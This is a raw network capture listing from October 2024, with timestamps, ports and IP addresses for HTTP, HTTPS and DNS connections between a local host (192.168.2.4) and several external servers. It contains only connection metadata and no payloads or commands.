Oct 7, 2024 03:23:20.101641893 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101658106 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101667881 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101669073 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101680040 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101696014 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101701021 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101715088 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101728916 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101739883 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101751089 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101756096 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101772070 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101779938 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101783037 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101794958 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.101803064 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101821899 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.101844072 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.115123034 CEST	49900	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:20.115143061 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.115212917 CEST	49900	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:20.115461111 CEST	49900	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:20.115478039 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.144375086 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144428968 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144457102 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144467115 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144483089 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144496918 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144504070 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144514084 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144522905 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144526958 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144537926 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144548893 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144553900 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144570112 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144586086 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144634008 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144644022 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144682884 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144692898 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144692898 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144709110 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144721031 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144722939 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144732952 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144752979 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144753933 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144771099 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144779921 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144784927 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144794941 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144800901 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144802094 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144828081 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144849062 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144859076 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144870043 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144879103 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144891024 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144905090 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144907951 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144915104 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144927979 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144944906 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144947052 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144954920 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.144959927 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144982100 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.144992113 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.145004988 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145015001 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145025969 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145036936 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145041943 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.145049095 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145060062 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.145060062 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.145081043 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.145139933 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145149946 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145159960 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145170927 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145178080 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.145180941 CEST	80	49879	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:20.145190954 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.145215988 CEST	49879	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:20.348633051 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.351524115 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.351602077 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.352123022 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.352139950 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.358647108 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.361479044 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.361500978 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.362020969 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.362027884 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.402452946 CEST	61010	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:20.407207966 CEST	53	61010	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:20.407275915 CEST	61010	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:20.409102917 CEST	61010	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:20.413855076 CEST	53	61010	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:20.418240070 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.418760061 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.418778896 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.419353008 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.419358969 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.421521902 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.421636105 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.422127962 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.422143936 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.423242092 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.423264980 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.423351049 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.423356056 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.423823118 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.423835993 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.450871944 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.451209068 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.451281071 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.451426029 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.451426029 CEST	49896	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.451461077 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.451484919 CEST	443	49896	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.456485033 CEST	61011	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.456522942 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.456600904 CEST	61011	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.456763029 CEST	61011	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.456790924 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.460648060 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.460890055 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.461004019 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.461333036 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.461347103 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.461359978 CEST	49894	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.461366892 CEST	443	49894	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.465878963 CEST	61012	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.465899944 CEST	443	61012	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.465965986 CEST	61012	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.466095924 CEST	61012	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.466114998 CEST	443	61012	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.516357899 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.516676903 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.517070055 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.517226934 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.517226934 CEST	49897	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.517256975 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.517268896 CEST	443	49897	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.519787073 CEST	61013	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.519884109 CEST	443	61013	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.520123005 CEST	61013	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.520281076 CEST	61013	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.520315886 CEST	443	61013	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.520380020 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.520467043 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.520520926 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.520837069 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.520837069 CEST	49898	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.520844936 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.520853996 CEST	443	49898	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.521111965 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.521202087 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.521245956 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.521248102 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.521351099 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.521392107 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.521392107 CEST	49899	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.521409988 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.521430969 CEST	443	49899	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.523897886 CEST	61014	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.523929119 CEST	443	61014	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.524132967 CEST	61014	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.524765015 CEST	61014	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.524805069 CEST	443	61014	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.525859118 CEST	61015	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.525878906 CEST	443	61015	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.526221991 CEST	61015	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.526424885 CEST	61015	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:20.526437998 CEST	443	61015	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:20.755778074 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.755856037 CEST	49900	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:20.757330894 CEST	49900	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:20.757348061 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.757658958 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.759129047 CEST	49900	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:20.799446106 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:20.855556965 CEST	53	61010	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:20.863199949 CEST	61010	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:20.868400097 CEST	53	61010	1.1.1.1	192.168.2.4
Oct 7, 2024 03:23:20.868463039 CEST	61010	53	192.168.2.4	1.1.1.1
Oct 7, 2024 03:23:21.033684015 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:21.033839941 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:21.033895016 CEST	49900	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:21.062294960 CEST	49900	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:21.062313080 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:21.062334061 CEST	49900	443	192.168.2.4	184.28.90.27
Oct 7, 2024 03:23:21.062341928 CEST	443	49900	184.28.90.27	192.168.2.4
Oct 7, 2024 03:23:21.111567020 CEST	443	61012	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.111916065 CEST	61012	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.111938000 CEST	443	61012	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.112318993 CEST	61012	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.112332106 CEST	443	61012	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.125560045 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.126418114 CEST	61011	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.126463890 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.126770973 CEST	61011	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.126785040 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.161432028 CEST	443	61015	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.161828041 CEST	443	61013	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.162149906 CEST	443	61014	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.162374973 CEST	61015	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.162408113 CEST	443	61015	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.162808895 CEST	61015	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.162823915 CEST	443	61015	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.162955999 CEST	61013	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.162974119 CEST	443	61013	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.163343906 CEST	61013	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.163352013 CEST	443	61013	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.163606882 CEST	61014	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.163614988 CEST	443	61014	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.163908958 CEST	61014	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.163913012 CEST	443	61014	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.209728003 CEST	443	61012	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.209908962 CEST	443	61012	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.209980965 CEST	61012	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.210139990 CEST	61012	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.210139990 CEST	61012	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.210165977 CEST	443	61012	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.210175037 CEST	443	61012	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.212219954 CEST	61021	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.212251902 CEST	443	61021	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.212308884 CEST	61021	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.212405920 CEST	61021	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.212412119 CEST	443	61021	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.228554964 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.228712082 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.228744030 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.228781939 CEST	61011	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.228821039 CEST	61011	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.228898048 CEST	61011	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.228920937 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.228965998 CEST	61011	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.228982925 CEST	443	61011	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.230726004 CEST	61022	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.230735064 CEST	443	61022	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.231359005 CEST	61022	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.231566906 CEST	61022	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.231575966 CEST	443	61022	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.258176088 CEST	443	61015	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.258304119 CEST	443	61015	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.258388996 CEST	61015	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.258476019 CEST	61015	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.258493900 CEST	443	61015	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.258560896 CEST	61015	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.258568048 CEST	443	61015	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.260497093 CEST	61023	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.260515928 CEST	443	61023	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.260725975 CEST	61023	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.260900974 CEST	61023	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.260911942 CEST	443	61023	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.262140036 CEST	443	61014	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.262203932 CEST	443	61014	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.262681007 CEST	61014	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.262707949 CEST	61014	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.262722969 CEST	443	61014	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.262733936 CEST	61014	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.262742043 CEST	443	61014	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.264139891 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.264149904 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.264173985 CEST	443	61013	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.264245033 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.264324903 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.264336109 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.264341116 CEST	443	61013	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.264394999 CEST	61013	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.264631987 CEST	61013	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.264636993 CEST	443	61013	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.264664888 CEST	61013	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.264669895 CEST	443	61013	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.266195059 CEST	61025	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.266205072 CEST	443	61025	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.266846895 CEST	61025	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.267651081 CEST	61025	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.267661095 CEST	443	61025	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.742597103 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:21.742639065 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:21.742703915 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:21.746587038 CEST	61026	443	192.168.2.4	104.102.49.254
Oct 7, 2024 03:23:21.746599913 CEST	443	61026	104.102.49.254	192.168.2.4
Oct 7, 2024 03:23:21.853625059 CEST	443	61021	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.855802059 CEST	61021	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.855830908 CEST	443	61021	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.856410027 CEST	61021	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.856415987 CEST	443	61021	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.895579100 CEST	443	61022	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.896720886 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.896954060 CEST	61022	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.896970034 CEST	443	61022	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.897691965 CEST	61022	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.897696972 CEST	443	61022	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.900250912 CEST	443	61023	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.903942108 CEST	61023	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.903964043 CEST	443	61023	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.904279947 CEST	61023	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.904285908 CEST	443	61023	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.937901020 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.946597099 CEST	443	61025	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.951092958 CEST	443	61021	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.951236963 CEST	443	61021	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.952687025 CEST	61021	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.960546970 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.960556984 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.961117029 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.961121082 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.998461962 CEST	443	61022	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.999133110 CEST	443	61022	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:21.999218941 CEST	61022	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:21.999914885 CEST	443	61023	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.000287056 CEST	443	61023	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.000669003 CEST	61023	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.002084970 CEST	61025	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.055907965 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.055938959 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.055984020 CEST	443	61024	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.056019068 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.056041002 CEST	61024	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.130909920 CEST	61025	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.130919933 CEST	443	61025	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.131320953 CEST	61025	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:22.131326914 CEST	443	61025	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:22.131460905 CEST	61023	443	192.168.2.4	13.107.246.45
